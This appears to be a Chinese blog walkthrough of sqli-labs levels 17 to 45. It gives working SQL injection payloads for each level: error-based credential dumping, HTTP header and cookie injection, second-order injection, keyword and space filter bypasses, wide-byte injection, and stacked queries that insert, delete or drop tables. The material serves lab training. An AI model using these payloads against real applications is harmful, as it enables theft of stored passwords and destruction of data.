Less17-45

增:

insert into 表名 [name(列名1,列名2,...)] values(记录1),values(记录2),... ;

删:

delete from 表名 where 条件;  #删除记录,没有where时表示清空某表

#删除结构
drop database/table 数据库名/表名; #删除数据库或表
alter table 表名 drop column 列名; #删除某表中的一列

改:

update 表名 set 列名='新值' where 条件; #无where时表示该表所有记录中被选中的这一列都修改为新值

查:

select */列名1,列名2,... from 表名 where 条件;

还有联合查询 select union [all]

Less-17

输入正确的用户名,密码先用 1’ 试一下,报错:

You have an error  ...for the right syntax to use near '1' WHERE username='admin'' at line 

知晓对 $passwd 使用的是 ’ ’ 处理,为什么呢?我们看一下源码:

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

SQL在处理的时候是 ’ ’ 或" "成对出现两两闭合的,当我们把用户名:admin,新密码:1’ 输入进去之后,在后台是这样的语句:

$update="UPDATE users SET password = '1'' WHERE username='admin'";
有两个闭合:password = '1'        
			' WHERE username='   
			剩下admin'   SQL不知道该怎样处理,所以错误就被显示出来了
			
# 查询的结果集不能直接被更新,需要取别名当作新表处理
select * from (select * from table) as t;
# new password:报错注入
' or updatexml(1,concat('#',(select * from (select group_concat(id,'.',username,':',password) from users) as a)),0)#
# 时间盲注、二分盲注

HTTP头部注入:
当对输入框进行一系列输入过滤处理之后,这时就要考虑在别的地方进行注入了
常见注入点:User-Agent、Referer、Cookie

Less-18

# 源码:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

可以看到对用户名和密码都进行了过滤,但插入语句中uagents并没有进行任何操作,burp抓包之后可以进行HTTP头部注入,注入点在User-Agent,修改为报错语句即可

Less-19

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

同样的,这次注入点在referer,报错注入

Less-20

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";		

注入点cookie,报错注入

Less-21

burp suite抓包:观察到cookie不太正常,查看源码发现进行了base64处理,将注入语句:

') union select 1,2,group_concat(id,username,password) from users#
# 在编码器进行base64转换得
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoaWQsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMj
# 转换后的语句作为新的cookie值,得到结果

Less-22

"and extractvalue(1,concat(0x7e,(select database()),0x7e))#

Less-23

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),'3
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' ),'3
?id=-1' union select 1,(select group_concat(id,'/',username,'/',password) from users ),'3

Less-24

二次注入:找一个数据库中已有的用户名后面加上 '# 作为新用户名,这样在更改密码的时候改的是数据库中原用户名:

UPDATE users SET passwd="New_Pass" WHERE username =' admin'# ' AND password='';

Less-25

过滤了 or 和 and
可作以下尝试:
1、大小写改写,如:Or,OR,oR
2、添加注释 /*or*/、an/**/d
3、双写绕过,oorr => 中间的or被替换为空格,还剩下一个or
3、替换,and => &&、or => ||

?id=-1' union select 1,(select group_concat(id,'/',username,'/',passwoorrd) from users ),'3
?id=-1' oorr '1'='1
?id=-1' || '1'='1
?id=1' anandd '1'='1

Less-25a

依旧过滤了or 和and,这里没有错误回显

?id=-1 union select 1,(select group_concat(id,'/',username,'/',passwoorrd) from users ),3

Less-26/a

过滤了空格,用%0a、%09、%0b、%0c、%0d 代替

Less-27

过滤select、union

?id=1' and%09extractvalue(1,concat(0x7e,(seLeCt%09group_concat(id,'/',username,'/',password) from%09users),0x7e)) or '  # 报错注入

Less-27a

?id=100"%09UnIon%09SElecT%091,(seLEct%09group_concat(id,':',username,':',password) from%09users ),"3

Less-32/33

宽字节注入:针对 ’ 和 \ 的过滤。编码方式GBK(一个汉字占两个字节),\ =>%5c,’ =>%27
1、前面加%df
2、构造 %**%5c%5c%27
3、将编码方式改为utf-16,万能密码:�' or 1=1#

?id=-1%df' union select 1,(select group_concat(id,username,password) from users),3 --+
?id=-1%bb%5c' union select 1,(select group_concat(id,username,password) from users),3 --+
# 报错注入
?id=1%bb%5c' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e)) --+

Less-34

?id=-1%EF%BF%BD' union select 1,user(),3--+

审查元素,将编码方式改为utf-16,万能密码:�' or 1=1#

Less-35

?id=-1 union select 1,2,(select group_concat(id,username,password) from users) #
#报错注入
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e)) --+

Less-36

?id=-1%df' union select 1,user(),3 --+

Less-37

' or 1=1#
�' union select user(),2 #

Less-38

堆叠注入(多行SQL语句同时注入,中间以;分隔)
注:第二条SQL注入语句及之后可能不会显示出来,但确实已经注入,可通过数据库后台查看

?id=1';insert into users values('16','me','me');--+

Less-39

?id=1; delete from users where id='16';--+

Less-40

?id=1'); insert into users values ('108','hello1','hello1');

Less-41

源码:

sql = select * from users where id = $id limit 0,1;
?id=1;delete from users where id = '108';  #

Less-42

查看源码,发现password没有过滤

$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

payload:

username: 随便输
password: 123';create table less42 like users#

结果需要进入数据库查看

Less-43

源码:

$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

payload:

username: 随便输
password: 123');drop table less42; #

Less-44/45

与42/43一样,区别在于无错误回显

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值